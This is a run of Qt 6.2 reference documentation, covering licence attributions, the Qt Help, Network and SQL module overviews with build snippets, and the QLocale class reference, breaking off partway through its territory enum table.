| [IAccessible2 IDL Specification, version 1.3.0](https://doc.qt.io/qt-6.2/qtgui-attribution-iaccessible2.html) | BSD 3-clause "New" or "Revised" License |
| [LibJPEG-turbo, version 2.1.1](https://doc.qt.io/qt-6.2/qtgui-attribution-libjpeg.html) | Independent JPEG Group License and BSD 3-Clause "New" or "Revised" License and zlib License |
| [LibPNG, version 1.6.37](https://doc.qt.io/qt-6.2/qtgui-attribution-libpng.html) | libpng License and PNG Reference Library version 2 |
| [MD4C, version 0.4.8](https://doc.qt.io/qt-6.2/qtgui-attribution-md4c.html) | MIT License |
| [Native Style for Android](https://doc.qt.io/qt-6.2/qtgui-attribution-android-native-style.html) | Apache License 2.0 |
| [OpenGL ES 2 Headers, version Revision 27673](https://doc.qt.io/qt-6.2/qtgui-attribution-opengl-es2-headers.html) | MIT License |
| [OpenGL Headers, version Revision 27684](https://doc.qt.io/qt-6.2/qtgui-attribution-opengl-headers.html) | MIT License |
| [Pixman, version 0.17.12](https://doc.qt.io/qt-6.2/qtgui-attribution-pixman.html) | MIT License |
| [Smooth Scaling Algorithm](https://doc.qt.io/qt-6.2/qtgui-attribution-smooth-scaling-algorithm.html) | BSD 2-clause "Simplified" License and Imlib2 License |
| [Vulkan API Registry, version 1.2.166](https://doc.qt.io/qt-6.2/qtgui-attribution-vulkan-xml-spec.html) | MIT License |
| [Vulkan Memory Allocator, version 2.3.0](https://doc.qt.io/qt-6.2/qtgui-attribution-vulkanmemoryallocator.html) | MIT License |
| [WebGradients](https://doc.qt.io/qt-6.2/qtgui-attribution-webgradients.html) | MIT License |
| [Wintab API](https://doc.qt.io/qt-6.2/qtgui-attribution-wintab.html) | LCS-Telegraphics License |
| [X Server helper](https://doc.qt.io/qt-6.2/qtgui-attribution-xserverhelper.html) | X11 License and Historical Permission Notice and Disclaimer |
| [XCB-XInput](https://doc.qt.io/qt-6.2/qtgui-attribution-xcb-xinput.html) | MIT License |
| [sRGB color profile icc file](https://doc.qt.io/qt-6.2/qtgui-attribution-icc-srgb-color-profile.html) | International Color Consortium License |

 Reference
---------

 * [Qt GUI C++ Classes](https://doc.qt.io/qt-6.2/qtgui-module.html)
	+ [Event Classes](events)
	+ [Painting Classes](painting)
	+ [Rendering in 3D](painting-3d)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtgui-index.html>

Qt Help
=======

 Getting Started
---------------

 To use Qt Help classes, add this directive into the C++ files:

 
```
#include <QtHelp>
```
 To link against the Qt Help module, add this line to the project file:

 
```
QT += help
```
 Articles and Guides
-------------------

 The classes and tools supplied with Qt to enable developers to include online help and documentation in their applications are described in more detail in [The Qt Help Framework](qthelp-framework).

 API Reference
-------------

 These are links to the API reference material:

 * [C++ Classes](https://doc.qt.io/qt-6.2/qthelp-module.html)

 License Information
-------------------

 Qt Help is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses. Since Qt 5.4, these free software licenses are [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qthelp-index.html>

Qt Network
==========

 The [Qt Network](qtnetwork-index) module provides a set of APIs for programming applications that use TCP/IP. Operations such as requests, cookies, and sending data over HTTP are handled by various C++ classes.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Network REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Network)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 Add `network` to the `QT` variable:

 
```
QT += network
```
 Articles and Guides
-------------------

 These articles contain information about Qt Network setup and about applications with networking capabilities.

 * [Network Programming with Qt](qtnetwork-programming) - Programming applications with networking capabilities
* [Secure Sockets Layer (SSL) Classes](ssl) - Classes for secure communication over network sockets

 API Reference
-------------

 These are links to the API reference materials.

 * [C++ Classes](https://doc.qt.io/qt-6.2/qtnetwork-module.html)

 Module Evolution
----------------

 [Changes to Qt Network](network-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 Qt Network is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under the [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Qt Network can use the [OpenSSL Toolkit](https://www.openssl.org/) as a backend. The library is then linked against OpenSSL in a way that requires compliance with the [OpenSSL License](https://www.openssl.org/source/license.html). To allow linking OpenSSL with Qt Network under the GPL, following exceptions to the GPL do apply:

 
```
In addition, as a special exception, the copyright holders listed above give
permission to link the code of its release of Qt with the OpenSSL project's
"OpenSSL" library (or modified versions of the "OpenSSL" library that use the
same license as the original version), and distribute the linked executables.

You must comply with the GNU General Public License version 2 in all
respects for all of the code used other than the "OpenSSL" code.  If you
modify this file, you may extend this exception to your version of the file,
but you are not obligated to do so.  If you do not wish to do so, delete
this exception statement from your version of this file.
```
 Also note shipping OpenSSL might cause [Import and Export Restrictions](ssl#import-and-export-restrictions) to apply.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtnetwork-index.html>

Qt SQL
======

 The Qt SQL module provides support for SQL databases. Qt SQL's APIs are divided into different layers:

 * Driver layer
* SQL API layer
* User interface layer

 The [SQL Programming](sql-programming) guide contains information about development using Qt SQL.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Sql REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Sql)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 To configure the module for building with qmake, add the module as a value of the `QT` variable in the project's .pro file:

 
```
QT += sql
```
 Module Evolution
----------------

 [Changes to Qt SQL](qtsql-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 Qt SQL is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Furthermore, Qt SQL in Qt 6.2.2 may contain third party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [SQLite, version 3.36.0](https://doc.qt.io/qt-6.2/qtsql-attribution-sqlite.html) | Public Domain |

 Related Information
-------------------

 These are links to the API reference materials and related pages.

 * [C++ Classes](https://doc.qt.io/qt-6.2/qtsql-module.html)
* [SQL Examples](https://doc.qt.io/qt-6.2/examples-sql.html)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtsql-index.html>

QLocale Class
=============

 The QLocale class converts between numbers and their string representations in various languages. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QLocale> |
|  CMake: |  find\_package(Qt6 COMPONENTS Core REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Core) |
|  qmake: |  QT += core |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qlocale-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qlocale-obsolete.html)

 **Note:** All functions in this class are [reentrant](17-qdoc-commands-thread#reentrant) with the following exceptions:

 * [setDefault](qlocale#setDefault)()

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[Country](qlocale#Country-enum)** { AnyCountry, AnyTerritory, Afghanistan, AlandIslands, Albania, …, Zimbabwe } |
|  enum  | **[CurrencySymbolFormat](qlocale#CurrencySymbolFormat-enum)** { CurrencyIsoCode, CurrencySymbol, CurrencyDisplayName } |
|  enum  | **[DataSizeFormat](qlocale#DataSizeFormat-enum)** { DataSizeIecFormat, DataSizeTraditionalFormat, DataSizeSIFormat } |
|  flags  | **[DataSizeFormats](qlocale#DataSizeFormat-enum)** |
|  enum  | **[FloatingPointPrecisionOption](qlocale#FloatingPointPrecisionOption-enum)** { FloatingPointShortest } |
|  enum  | **[FormatType](qlocale#FormatType-enum)** { LongFormat, ShortFormat, NarrowFormat } |
|  enum  | **[Language](qlocale#Language-enum)** { AnyLanguage, C, Abkhazian, Afan, Afar, …, Zulu } |
|  enum  | **[MeasurementSystem](qlocale#MeasurementSystem-enum)** { MetricSystem, ImperialUSSystem, ImperialUKSystem, ImperialSystem } |
|  enum  | **[NumberOption](qlocale#NumberOption-enum)** { DefaultNumberOptions, OmitGroupSeparator, RejectGroupSeparator, OmitLeadingZeroInExponent, RejectLeadingZeroInExponent, …, RejectTrailingZeroesAfterDot } |
|  flags  | **[NumberOptions](qlocale#NumberOption-enum)** |
|  enum  | **[QuotationStyle](qlocale#QuotationStyle-enum)** { StandardQuotation, AlternateQuotation } |
|  enum  | **[Script](qlocale#Script-enum)** { AnyScript, AdlamScript, AhomScript, AnatolianHieroglyphsScript, ArabicScript, …, YiScript } |
|  | **[Territory](qlocale#Territory-typedef)** |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QLocale](qlocale#QLocale-4)**(const QLocale &*other*) |
|  | **[QLocale](qlocale#QLocale-3)**(QLocale::Language *language*, QLocale::Script *script* = AnyScript, QLocale::Territory *territory* = AnyTerritory) |
|  | **[QLocale](qlocale#QLocale-2)**(QLocale::Language *language*, QLocale::Territory *territory*) |
|  | **[QLocale](qlocale#QLocale-1)**(const QString &*name*) |
|  | **[QLocale](qlocale#QLocale)**() |
|  QLocale & | **[operator=](qlocale#operator-eq-1)**(const QLocale &*other*) |
|  | **[~QLocale](qlocale#dtor.QLocale)**() |
|  QString  | **[amText](qlocale#amText)**() const |
|  QString  | **[bcp47Name](qlocale#bcp47Name)**() const |
|  QLocale  | **[collation](qlocale#collation)**() const |
|  QString  | **[createSeparatedList](qlocale#createSeparatedList)**(const QStringList &*list*) const |
|  QString  | **[currencySymbol](qlocale#currencySymbol)**(QLocale::CurrencySymbolFormat *format* = CurrencySymbol) const |
|  QString  | **[dateFormat](qlocale#dateFormat)**(QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[dateTimeFormat](qlocale#dateTimeFormat)**(QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[dayName](qlocale#dayName)**(int *day*, QLocale::FormatType *type* = LongFormat) const |
|  QString  | **[decimalPoint](qlocale#decimalPoint)**() const |
|  QString  | **[exponential](qlocale#exponential)**() const |
|  Qt::DayOfWeek  | **[firstDayOfWeek](qlocale#firstDayOfWeek)**() const |
|  QString  | **[formattedDataSize](qlocale#formattedDataSize)**(qint64 *bytes*, int *precision* = 2, QLocale::DataSizeFormats *format* = DataSizeIecFormat) const |
|  QString  | **[groupSeparator](qlocale#groupSeparator)**() const |
|  QLocale::Language  | **[language](qlocale#language)**() const |
|  QLocale::MeasurementSystem  | **[measurementSystem](qlocale#measurementSystem)**() const |
|  QString  | **[monthName](qlocale#monthName)**(int *month*, QLocale::FormatType *type* = LongFormat) const |
|  QString  | **[name](qlocale#name)**() const |
|  QString  | **[nativeLanguageName](qlocale#nativeLanguageName)**() const |
|  QString  | **[nativeTerritoryName](qlocale#nativeTerritoryName)**() const |
|  QString  | **[negativeSign](qlocale#negativeSign)**() const |
|  QLocale::NumberOptions  | **[numberOptions](qlocale#numberOptions)**() const |
|  QString  | **[percent](qlocale#percent)**() const |
|  QString  | **[pmText](qlocale#pmText)**() const |
|  QString  | **[positiveSign](qlocale#positiveSign)**() const |
|  QString  | **[quoteString](qlocale#quoteString)**(const QString &*str*, QLocale::QuotationStyle *style* = StandardQuotation) const |
|  QString  | **[quoteString](qlocale#quoteString-1)**(QStringView *str*, QLocale::QuotationStyle *style* = StandardQuotation) const |
|  QLocale::Script  | **[script](qlocale#script)**() const |
|  void  | **[setNumberOptions](qlocale#setNumberOptions)**(QLocale::NumberOptions *options*) |
|  QString  | **[standaloneDayName](qlocale#standaloneDayName)**(int *day*, QLocale::FormatType *type* = LongFormat) const |
|  QString  | **[standaloneMonthName](qlocale#standaloneMonthName)**(int *month*, QLocale::FormatType *type* = LongFormat) const |
|  void  | **[swap](qlocale#swap)**(QLocale &*other*) |
|  QLocale::Territory  | **[territory](qlocale#territory)**() const |
|  Qt::LayoutDirection  | **[textDirection](qlocale#textDirection)**() const |
|  QString  | **[timeFormat](qlocale#timeFormat)**(QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString)**(qlonglong *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-1)**(qulonglong *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-2)**(short *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-3)**(ushort *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-4)**(int *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-5)**(uint *value*, const QString &*symbol* = QString()) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-6)**(double *value*, const QString &*symbol* = QString(), int *precision* = -1) const |
|  QString  | **[toCurrencyString](qlocale#toCurrencyString-7)**(float *i*, const QString &*symbol* = QString(), int *precision* = -1) const |
|  QDate  | **[toDate](qlocale#toDate)**(const QString &*string*, QLocale::FormatType *format* = LongFormat) const |
|  QDate  | **[toDate](qlocale#toDate-1)**(const QString &*string*, const QString &*format*) const |
|  QDate  | **[toDate](qlocale#toDate-2)**(const QString &*string*, QLocale::FormatType *format*, QCalendar *cal*) const |
|  QDate  | **[toDate](qlocale#toDate-3)**(const QString &*string*, const QString &*format*, QCalendar *cal*) const |
|  QDateTime  | **[toDateTime](qlocale#toDateTime)**(const QString &*string*, QLocale::FormatType *format* = LongFormat) const |
|  QDateTime  | **[toDateTime](qlocale#toDateTime-1)**(const QString &*string*, const QString &*format*) const |
|  QDateTime  | **[toDateTime](qlocale#toDateTime-2)**(const QString &*string*, QLocale::FormatType *format*, QCalendar *cal*) const |
|  QDateTime  | **[toDateTime](qlocale#toDateTime-3)**(const QString &*string*, const QString &*format*, QCalendar *cal*) const |
|  double  | **[toDouble](qlocale#toDouble)**(const QString &*s*, bool \**ok* = nullptr) const |
|  double  | **[toDouble](qlocale#toDouble-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  float  | **[toFloat](qlocale#toFloat)**(const QString &*s*, bool \**ok* = nullptr) const |
|  float  | **[toFloat](qlocale#toFloat-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  int  | **[toInt](qlocale#toInt)**(const QString &*s*, bool \**ok* = nullptr) const |
|  int  | **[toInt](qlocale#toInt-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  long  | **[toLong](qlocale#toLong)**(const QString &*s*, bool \**ok* = nullptr) const |
|  long  | **[toLong](qlocale#toLong-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  qlonglong  | **[toLongLong](qlocale#toLongLong)**(const QString &*s*, bool \**ok* = nullptr) const |
|  qlonglong  | **[toLongLong](qlocale#toLongLong-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  QString  | **[toLower](qlocale#toLower)**(const QString &*str*) const |
|  short  | **[toShort](qlocale#toShort)**(const QString &*s*, bool \**ok* = nullptr) const |
|  short  | **[toShort](qlocale#toShort-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  QString  | **[toString](qlocale#toString)**(qlonglong *i*) const |
|  QString  | **[toString](qlocale#toString-1)**(qulonglong *i*) const |
|  QString  | **[toString](qlocale#toString-2)**(long *i*) const |
|  QString  | **[toString](qlocale#toString-3)**(ulong *i*) const |
|  QString  | **[toString](qlocale#toString-4)**(short *i*) const |
|  QString  | **[toString](qlocale#toString-5)**(ushort *i*) const |
|  QString  | **[toString](qlocale#toString-6)**(int *i*) const |
|  QString  | **[toString](qlocale#toString-7)**(uint *i*) const |
|  QString  | **[toString](qlocale#toString-8)**(double *f*, char *format* = 'g', int *precision* = 6) const |
|  QString  | **[toString](qlocale#toString-9)**(float *f*, char *format* = 'g', int *precision* = 6) const |
|  QString  | **[toString](qlocale#toString-10)**(QDate *date*, const QString &*format*) const |
|  QString  | **[toString](qlocale#toString-11)**(QTime *time*, const QString &*format*) const |
|  QString  | **[toString](qlocale#toString-12)**(const QDateTime &*dateTime*, const QString &*format*) const |
|  QString  | **[toString](qlocale#toString-13)**(QDate *date*, QStringView *format*) const |
|  QString  | **[toString](qlocale#toString-14)**(QTime *time*, QStringView *format*) const |
|  QString  | **[toString](qlocale#toString-15)**(const QDateTime &*dateTime*, QStringView *format*) const |
|  QString  | **[toString](qlocale#toString-16)**(QDate *date*, QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[toString](qlocale#toString-17)**(QTime *time*, QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[toString](qlocale#toString-18)**(const QDateTime &*dateTime*, QLocale::FormatType *format* = LongFormat) const |
|  QString  | **[toString](qlocale#toString-19)**(QDate *date*, QStringView *format*, QCalendar *cal*) const |
|  QString  | **[toString](qlocale#toString-20)**(QDate *date*, QLocale::FormatType *format*, QCalendar *cal*) const |
|  QString  | **[toString](qlocale#toString-21)**(const QDateTime &*dateTime*, QLocale::FormatType *format*, QCalendar *cal*) const |
|  QString  | **[toString](qlocale#toString-22)**(const QDateTime &*dateTime*, QStringView *format*, QCalendar *cal*) const |
|  QTime  | **[toTime](qlocale#toTime)**(const QString &*string*, QLocale::FormatType *format* = LongFormat) const |
|  QTime  | **[toTime](qlocale#toTime-1)**(const QString &*string*, const QString &*format*) const |
|  uint  | **[toUInt](qlocale#toUInt)**(const QString &*s*, bool \**ok* = nullptr) const |
|  uint  | **[toUInt](qlocale#toUInt-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  ulong  | **[toULong](qlocale#toULong)**(const QString &*s*, bool \**ok* = nullptr) const |
|  ulong  | **[toULong](qlocale#toULong-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  qulonglong  | **[toULongLong](qlocale#toULongLong)**(const QString &*s*, bool \**ok* = nullptr) const |
|  qulonglong  | **[toULongLong](qlocale#toULongLong-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  ushort  | **[toUShort](qlocale#toUShort)**(const QString &*s*, bool \**ok* = nullptr) const |
|  ushort  | **[toUShort](qlocale#toUShort-1)**(QStringView *s*, bool \**ok* = nullptr) const |
|  QString  | **[toUpper](qlocale#toUpper)**(const QString &*str*) const |
|  QStringList  | **[uiLanguages](qlocale#uiLanguages)**() const |
|  QList<Qt::DayOfWeek>  | **[weekdays](qlocale#weekdays)**() const |
|  QString  | **[zeroDigit](qlocale#zeroDigit)**() const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QLocale  | **[c](qlocale#c)**() |
|  QLocale::Language  | **[codeToLanguage](qlocale#codeToLanguage)**(QStringView *languageCode*) |
|  QLocale::Script  | **[codeToScript](qlocale#codeToScript)**(QStringView *scriptCode*) |
|  QLocale::Territory  | **[codeToTerritory](qlocale#codeToTerritory)**(QStringView *territoryCode*) |
|  QString  | **[languageToCode](qlocale#languageToCode)**(QLocale::Language *language*) |
|  QString  | **[languageToString](qlocale#languageToString)**(QLocale::Language *language*) |
|  QList<QLocale>  | **[matchingLocales](qlocale#matchingLocales)**(QLocale::Language *language*, QLocale::Script *script*, QLocale::Territory *territory*) |
|  QString  | **[scriptToCode](qlocale#scriptToCode)**(QLocale::Script *script*) |
|  QString  | **[scriptToString](qlocale#scriptToString)**(QLocale::Script *script*) |
|  void  | **[setDefault](qlocale#setDefault)**(const QLocale &*locale*) |
|  QLocale  | **[system](qlocale#system)**() |
|  QString  | **[territoryToCode](qlocale#territoryToCode)**(QLocale::Territory *territory*) |
|  QString  | **[territoryToString](qlocale#territoryToString)**(QLocale::Territory *territory*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  size\_t  | **[qHash](qlocale#qHash)**(const QLocale &*key*, size\_t *seed* = 0) |
|  bool  | **[operator!=](qlocale#operator-not-eq)**(const QLocale &*lhs*, const QLocale &*rhs*) |
|  bool  | **[operator==](qlocale#operator-eq-eq)**(const QLocale &*lhs*, const QLocale &*rhs*) |

 Detailed Description
--------------------

 QLocale is constructed for a specified language, optional script and territory. It offers various facilities for formatting data as text, localized appropriately, and for reading data out of localized text.

 Example:

 
```
QLocale egyptian(QLocale::Arabic, QLocale::Egypt);
QString s1 = egyptian.toString(1.571429E+07, 'e');
QString s2 = egyptian.toString(10);

double d = egyptian.toDouble(s1);
int i = egyptian.toInt(s2);
```
 QLocale supports the concept of a default locale, which is determined from the system's locale settings at application startup. The default locale can be changed by calling the static member [setDefault](qlocale#setDefault)(). Setting the default locale has the following effects:

 * If a QLocale object is constructed with the default constructor, it will use the default locale's settings.
* [QString::arg](qstring#arg)() uses the default locale to format a number when its position specifier in the format string contains an 'L', e.g. "%L1".

 The following example illustrates how to use QLocale directly:

 
```
bool ok;
double d;

QLocale::setDefault(QLocale::C);      // uses '.' as a decimal point
QLocale cLocale;                      // default-constructed C locale
d = cLocale.toDouble("1234,56", &ok); // ok == false, d == 0
d = cLocale.toDouble("1234.56", &ok); // ok == true,  d == 1234.56

QLocale::setDefault(QLocale::German); // uses ',' as a decimal point
QLocale german;                       // default-constructed German locale
d = german.toDouble("1234,56", &ok);  // ok == true,  d == 1234.56
d = german.toDouble("1234.56", &ok);  // ok == false, d == 0

QLocale::setDefault(QLocale::English);
// Default locale now uses ',' as a group separator.
QString str = QString("%1 %L2 %L3").arg(12345).arg(12345).arg(12345, 0, 16);
// str == "12345 12,345 3039"
```
 An alternative method for constructing a QLocale object is by specifying the locale name.

 
```
QLocale korean("ko");
QLocale swiss("de_CH");
```
 This constructor reads the language, script and/or territory from the given name, accepting either uderscore or dash as separator (and ignoring any trailing `.codeset` or `@variant` suffix).

  **Note:** For the current keyboard input locale take a look at [QInputMethod::locale](qinputmethod#locale-prop)().

  QLocale's data is based on Common Locale Data Repository v40.

 ### Matching combinations of language, script and territory

 QLocale has data, derived from CLDR, for many combinations of language, script and territory, but not all. If it is constructed with all three of these key values specified (treating `AnyLanguage`, `AnyScript` or `AnyTerritory` as unspecified) and QLocale has data for the given combination, this data is used. Otherwise, QLocale does its best to find a sensible combination of language, script and territory, for which it does have data, that matches those that were specified.

 The CLDR provides tables of likely combinations, which are used to fill in any unspecified key or keys; if QLocale has data for the result of such a likely combination, that is used. If no language is specified, and none can be determined from script and territory, or if QLocale has no data for the language, the "C" locale (when reading the keys from a string) or default locale (otherwise) is used.

 When QLocale has no data for the keys specified, with likely keys filled in where unspecified, but does have data for the resulting language, a fall-back is sought, based on ignoring either territory, script or both (in that order). This results in a QLocale which may not match what was asked for, but provides localization that's as suitable as the available data permits, for the keys specified.

 Use [language](qlocale#language)(), [script](qlocale#script)() and [territory](qlocale#territory)() to determine the actual keys used.

 **See also** [QString::arg](qstring#arg)() and [QInputMethod::locale](qinputmethod#locale-prop)().

 Member Type Documentation
-------------------------

 ### enum QLocale::Country

 This enumerated type is used to identify a territory.

 An individual territory may be a province of a country, a country (by far the most common case) or a larger geographic entity, to which some localization details are specific.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QLocale::AnyCountry` | `AnyTerritory` | Osbolete alias for `AnyTerritory` |
| `QLocale::AnyTerritory` | `0` | Since 6.2 |
| `QLocale::Afghanistan` | `1` |  |
| `QLocale::AlandIslands` | `2` |  |
| `QLocale::Albania` | `3` |  |
| `QLocale::Algeria` | `4` |  |
| `QLocale::AmericanSamoa` | `5` |  |
| `QLocale::Andorra` | `6` |  |
| `QLocale::Angola` | `7` |  |
| `QLocale::Anguilla` | `8` |  |
| `QLocale::Antarctica` | `9` |  |
| `QLocale::AntiguaAndBarbuda` | `10` |  |
| `QLocale::Argentina` | `11` |  |
| `QLocale::Armenia` | `12` |  |
| `QLocale::Aruba` | `13` |  |
| `QLocale::AscensionIsland` | `14` |  |
| `QLocale::Australia` | `15` |  |
| `QLocale::Austria` | `16` |  |
| `QLocale::Azerbaijan` | `17` |  |
| `QLocale::Bahamas` | `18` |  |
| `QLocale::Bahrain` | `19` |  |
| `QLocale::Bangladesh` | `20` |  |
| `QLocale::Barbados` | `21` |  |
| `QLocale::Belarus` | `22` |  |
| `QLocale::Belgium` | `23` |  |
| `QLocale::Belize` | `24` |  |
| `QLocale::Benin` | `25` |  |
| `QLocale::Bermuda` | `26` |  |
| `QLocale::Bhutan` | `27` |  |
| `QLocale::Bolivia` | `28` |  |
| `QLocale::Bonaire` | `CaribbeanNetherlands` |  |
| `QLocale::BosniaAndHerzegowina` | `BosniaAndHerzegovina` | Obsolete, use `BosniaAndHerzegovina` instead |
| `QLocale::BosniaAndHerzegovina` | `29` | Since 6.0 |
| `QLocale::Botswana` | `30` |  |
| `QLocale::BouvetIsland` | `31` |  |
| `QLocale::Brazil` | `32` |  |
| `QLocale::BritishIndianOceanTerritory` | `33` |  |
| `QLocale::BritishVirginIslands` | `34` |  |
| `QLocale::Brunei` | `35` |  |
| `QLocale::Bulgaria` | `36` |  |
| `QLocale::BurkinaFaso` | `37` |  |
| `QLocale::Burundi` | `38` |  |
| `QLocale::Cambodia` | `39` |  |
| `QLocale::Cameroon` | `40` |  |
| `QLocale::Canada` | `41` |  |
| `QLocale::CanaryIslands` | `42` |  |
| `QLocale::CaribbeanNetherlands` | `44` |  |
| `QLocale::CapeVerde` | `43` |  |
| `QLocale::CaymanIslands` | `45` |  |
| `QLocale::CentralAfricanRepublic` | `46` |  |
| `QLocale::CeutaAndMelilla` | `47` |  |
| `QLocale::Chad` | `48` |  |
| `QLocale::Chile` | `49` |  |
| `QLocale::China` | `50` |  |
| `QLocale::ChristmasIsland` | `51` |  |
| `QLocale::ClippertonIsland` | `52` |  |
| `QLocale::CocosIslands` | `53` |  |
| `QLocale::Colombia` | `54` |  |
| `QLocale::Comoros` | `55` |  |
| `QLocale::CongoBrazzaville` | `56` |  |
| `QLocale::CongoKinshasa` | `57` |  |
| `QLocale::CookIslands` | `58` |  |
| `QLocale::CostaRica` | `59` |  |
| `QLocale::Croatia` | `60` |  |
| `QLocale::Cuba` | `61` |  |
| `QLocale::Curacao` | `62` | Since Qt 6.0 |
| `QLocale::CuraSao` | `Curacao` | Obsolete, use `Curacao` instead |
| `QLocale::Cyprus` | `63` |  |
| `QLocale::Czechia` | `64` | Since 6.0 |
| `QLocale::CzechRepublic` | `Czechia` | Obsolete, use `Czechia` instead |
| `QLocale::DemocraticRepublicOfCongo` | `CongoKinshasa` | Obsolete, use `CongoKinshasa` instead |
| `QLocale::DemocraticRepublicOfKorea` | `NorthKorea` | Obsolete, use `NorthKorea` instead |
| `QLocale::Denmark` | `65` |  |
| `QLocale::DiegoGarcia` | `66` |  |
| `QLocale::Djibouti` | `67` |  |
| `QLocale::Dominica` | `68` |  |
| `QLocale::DominicanRepublic` | `69` |  |
| `QLocale::EastTimor` | `TimorLeste` |  |
| `QLocale::Ecuador` | `70` |  |
| `QLocale::Egypt` | `71` |  |
| `QLocale::ElSalvador` | `72` |  |
| `QLocale::EquatorialGuinea` | `73` |  |
| `QLocale::Eritrea` | `74` |  |
| `QLocale::Estonia` | `75` |  |
| `QLocale::Eswatini` | `76` |  |
| `QLocale::Ethiopia` | `77` |  |
| `QLocale::EuropeanUnion` | `79` | Since Qt 5.7 |
| `QLocale::Europe` | `78` | Since Qt 5.12 |
| `QLocale::FalklandIslands` | `80` |  |
| `QLocale::FaroeIslands` | `81` |  |
| `QLocale::Fiji` | `82` |  |
| `QLocale::Finland` | `83` |  |
| `QLocale::France` | `84` |  |
| `QLocale::FrenchGuiana` | `85` |  |
| `QLocale::FrenchPolynesia` | `86` |  |
| `QLocale::FrenchSouthernTerritories` | `87` |  |
| `QLocale::Gabon` | `88` |  |
| `QLocale::Gambia` | `89` |  |
| `QLocale::Georgia` | `90` |  |
| `QLocale::Germany` | `91` |  |
| `QLocale::Ghana` | `92` |  |
| `QLocale::Gibraltar` | `93` |  |
| `QLocale::Greece` | `94` |  |
| `QLocale::Greenland` | `95` |  |
| `QLocale::Grenada` | `96` |  |
| `QLocale::Guadeloupe` | `97` |  |
| `QLocale::Guam` | `98` |  |
| `QLocale::Guatemala` | `99` |  |
| `QLocale::Guernsey` | `100` |  |
| `QLocale::Guinea` | `102` |  |
| `QLocale::GuineaBissau` | `101` |  |
| `QLocale::Guyana` | `103` |  |
| `QLocale::Haiti` | `104` |  |
| `QLocale::HeardAndMcDonaldIslands` | `105` |  |
| `QLocale::Honduras` | `106` |  |
| `QLocale::HongKong` | `107` |  |
| `QLocale::Hungary` | `108` |  |
| `QLocale::Iceland` | `109` |  |
| `QLocale::India` | `110` |  |
| `QLocale::Indonesia` | `111` |  |
| `QLocale::Iran` | `112` |  |
| `QLocale::Iraq` | `113` |  |
| `QLocale::Ireland` | `114` |  |
| `QLocale::IsleOfMan` | `115` |  |
